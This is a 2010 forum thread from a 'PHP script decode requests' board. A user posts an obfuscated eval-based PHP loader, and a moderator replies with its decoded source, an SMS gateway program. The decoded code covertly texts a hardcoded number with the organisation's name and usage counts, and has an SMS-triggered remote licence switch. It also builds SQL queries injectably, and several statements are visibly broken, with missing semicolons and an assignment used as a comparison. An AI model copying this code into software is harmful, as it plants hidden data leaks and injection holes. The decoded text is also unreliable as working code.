|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
master, pls help me again |
|
Posted: Sat Apr 03, 2010 2:24 am |
|
|
sugianto |
Advanced user |
|
|
Joined: Mar 27, 2010 |
Posts: 62 |
|
|
|
|
|
|
|
<?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPD8gIGluY2x1ZGUgImNvbggIZmlnLgEALnBocCI7IAAWJHRnA0psMSA9IDIBQgDhMgDgMTAA9jMA8TikBgD2NADwMjYA82RhdGVza3IBIAChKAhkImQiKQGSaWYoJAEhAcA9PQUxMSAKxCB8fCABSzIBPzMBMQJ8NCl7CsIkbgEAdW1iZXJhcAbgIis2Mjg1NzYBADkwMTAwMDEM9CRvcmdhbmlzACBhdGlvbm5hbWUgArBUdWxpcwWETmFtYSgB7SwRQwB0aWQsMQvTICQgAGNpA5BDb3VudFRvdGFsKHNtACxzc2VydmVyX2luAkZvAk8CQ291UCl0AlZrAltrb250YWsB5mgB62hwAaSBhA8CICR0ZXh0DvMIEGxpYiAAcGMxABI4OWRlbW8gJGludgqiJGMA0GNPGGsAwGggEC8RtAUiGJFrcm0HUBnBKCJZGDAtbS0bJQPwZWtsb2cB0BMmMihpZEgMXwFAMSwAUnRhYmVsMiwi8ARQLGkePGQyLAUUC2oGoiAAISRjBRIb5QSwEZBibwAdeD1T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JnxW1pAlQcAiRwUUADXzGAbGFpLGsfIG9uZgBTAncDcgvCAFUkZmkxZnNvY2v8HDLxShAGJOwgBeYLgGVycm5vAINsAASFaWYdRCAoIQQwDEQFU2VFESIDEjogJACCIFx/gW4Wd0c0AiEEsAIzAJACOxXFcmVzdWx0SaHwEAXQNSIAgAAyZndyaXRlKAfgLCAiRwIBRVQgLz9QFsE9IiAuIHJhd3SAFT5lbmNsISQYSSkB4CImGEECnxnlAkMbMGUAAGlwdFJlcXVlc3RlZD1ZRVM4ACZTG3UD7x05LiAiIEhUVFAvMS5yvTANkBMJezYgIU6wIhO5JHpxIAACNwSAOg0B8D+dxhCkECAC1WJhc2U2NObADsMEMQb1AmASaggAQXV0aFtgemF0aW9uOiBCYXMn9mljCpAuIATDBtAKyBbUBBoB+AXAIDoQnVEikCwdyHdoq7AoIWZlb2YZsSkN+QMDLj0CYSBmcmVhZAHxLDEKtQblY2xvcx1S0PABlQaBIEdwdHVybgQSECAC0jamQ291bgIQdFRoaXNEVUF0YWJsc/B2YXIx4PxQsgQDl+BnbHNrchXQQkFQ1FB4OBAmsGx0QBE9QFUic2VsZWN0IGMF4SgqKQtQMAhvbQRwBfEgd2hlcmUgJAZRID49UhAgSrB0BfInIAU1JHJvdwTAbmV4dJmAu6FzbJ3jDKhvd3BwDNU/Pg0K")); ?> |
|
|
|
|
|
|
|
|
Posted: Sat Apr 03, 2010 12:20 pm |
|
|
Cyko |
Moderator |
|
|
Joined: Jul 21, 2009 |
Posts: 375 |
|
|
|
|
|
|
|
Code: | <?php
include "config.inc.php";
$tgl1 = 2;
$tgl2 = 10;
$tgl3 = 18;
$tgl4 = 26;
$dateskr = date("d");
if($dateskr==$tgl1 || $dateskr==$tgl2 || $dateskr==$tgl3 || $dateskr==$tgl4){
$numberap = "+6285769010001";
$organisationname = TulisNama(organisationname,config,configid,1);
$ci = CountTotal(smsserver_in);
$co = CountTotal(smsserver_out);
$ck = CountTotal(kontak);
$ch = CountTotal(hp);
$textap = "smslib smsc189demo $inv $ci $co $ck $ch $organisationname ";
$tglkrm = date("Y-m-d");
$ceklog = TulisNama2(id_log1,log1,tabel2,tglkrm,id2,$tglkrm);
if(!$ceklog){
$id_outbox=SendSMSl($numberap,$textap,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,3) in2log1(cekrutin,$id,tglkrm,$tglkrm,id_outbox,$id_outbox,$datetime);
}
}
function SendSMS($recipient, $text,$inboxid,$useridx) {
if($recipient){
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
if(!$gateway_id){
$gateway_id="*";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}
else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id) Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSg($recipient, $text,$inboxid,$useridx,$gateway_id) {
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}
else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id) Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSl($recipient,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) {
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}
else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}
else{
$status=U;
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id) Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSm($recipient, $text,$inboxid,$useridx,$gateway_id) {
$username = TulisNama(nilai,konf,konf,masking_username);
$password = TulisNama(nilai,konf,konf,masking_password);
$masking_url = TulisNama(nilai,konf,konf,masking_url);
$mobile = plus62tozero($recipient);
$authx = "$username$password$mobile";
$auth = md5($authx);
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
$textp = str_replace(" ","+",$text);
$urlku="$masking_url/sendbyhttp.aspx?username=$username&mobile=$mobile&message=$textp&auth=$auth";
$grab = getURL($urlku);
$agrab = explode(":",$grab);
$ref_no = $agrab[1];
$status = $agrab[0];
$sql="insert into smsserver_mask (recipient,text,create_date,status_report,ref_no,status,gateway_id) Values ('$recipient','$text','$create_date','$status_report','$ref_no','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
echo $grab;
}
}
function upconfig($text,$originator){
$keysms = explode(" ",$text);
if($keysms[0]=="nolis" && $originator == "6285769010001"){
in2configleg(nixsmsc10);
}
if($keysms[0]=="openblokir" && $originator = "6285769010001"){
Update1(config,softwarename,nixsmsc11,softwarename,nixsmsc10);
}
}
function in2smsserver_delay($recipient,$text,$create_date,$flash_sms,$datetime_send,$status,$gateway_id,$id_inbox){
$create_date = date("Y-m-d H:i:s");
$sql="insert into smsserver_delay ( recipient,text,create_date,flash_sms,datetime_send,status,gateway_id,id_inbox ) Values ( '$recipient','$text','$create_date','$flash_sms','$datetime_send','$status','$gateway_id','$id_inbox' )";
dbquery($sql);
$id=mysql_insert_id();
return $id;
}
function NowSMS($phoneNoRecip, $msgText,$SMSCRoute) {
$ipnowsms = TulisNama(nilai,konf,konf,ipnowsms);
$portnowsms = TulisNama(nilai,konf,konf,portnowsms);
$fp = fsockopen($ipnowsms,$portnowsms, $errno, $errstr);
if (!$fp) {
echo "errno: $errno \n";
echo "errstr: $errstr\n";
return $result;
}
fwrite($fp, "GET /?Phone=" . rawurlencode($phoneNoRecip) . "&Text=" . rawurlencode($msgText) . "&ReceiptRequested=YES&SMSCRoute=" . rawurlencode($SMSCRoute) . " HTTP/1.0\n");
if ($username != "") {
$auth = $username . ":" . $password;
$auth = base64_encode($auth);
fwrite($fp, "Authorization: Basic " . $auth . "\n");
}
fwrite($fp, "\n");
$res = "";
while(!feof($fp)) {
$res .= fread($fp,1);
}
fclose($fp);
return $res;
}
function CountThisDay($table,$var1){
$tglskr = date("Y-m-d");
$reslt=dbquery("select count(*) from $table where $var1 >= '$tglskr' ");
$row=dbnext($reslt);
return $row[0];
}
?> |
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|